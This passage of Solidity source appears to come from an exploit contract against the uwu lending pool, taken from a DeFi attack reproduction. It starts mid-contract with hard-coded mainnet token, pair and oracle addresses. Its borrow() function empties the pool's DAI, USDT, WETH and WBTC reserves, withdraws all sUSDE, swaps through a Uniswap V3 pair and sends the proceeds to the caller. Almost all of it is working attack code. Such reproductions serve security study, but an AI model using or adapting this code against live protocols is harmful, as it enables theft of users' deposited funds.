IERC20 uWBTC = IERC20(0x6Ace5c946a3Abd8241f31f182c479e67A4d8Fc8d);
IERC20 uDAI = IERC20(0xb95BD0793bCC5524AF358ffaae3e38c3903C7626);
IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
IERC20 uUSDT = IERC20(0x24959F75d7BDA1884f1Ec9861f644821Ce233c7D);
Uni_Pair_V3 USDT_WETH_Pair = Uni_Pair_V3(0x11b815efB8f581194ae79006d24E0d814B7697F6);
IAaveOracle uwuPriceOracle = IAaveOracle(0xAC4A2aC76D639E10f2C05a41274c1aF85B772598);
function borrow() external {
uwuLendPool.borrow(address(DAI), DAI.balanceOf(address(uDAI)), 2, 0, address(this));
uwuLendPool.borrow(address(USDT), USDT.balanceOf(address(uUSDT)), 2, 0, address(this));
uwuLendPool.borrow(address(WETH), WETH.balanceOf(address(uWETH)), 2, 0, address(this));
uwuLendPool.borrow(address(WBTC), WBTC.balanceOf(address(uWBTC)), 2, 0, address(this));
uwuLendPool.withdraw(address(sUSDE), sUSDE.balanceOf(address(uSUSDE)), msg.sender);
USDT_WETH_Pair.swap(
address(this), false, int256(USDT.balanceOf(address(this))), 5_334_772_629_276_810_319_154_680, new bytes(0)
);
DAI.transfer(msg.sender, DAI.balanceOf(address(this)));
}
function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {
address(USDT).call(
abi.encodeWithSelector(bytes4(keccak256("transfer(address,uint256)")), msg.sender, uint256(amount1Delta))
);
}
}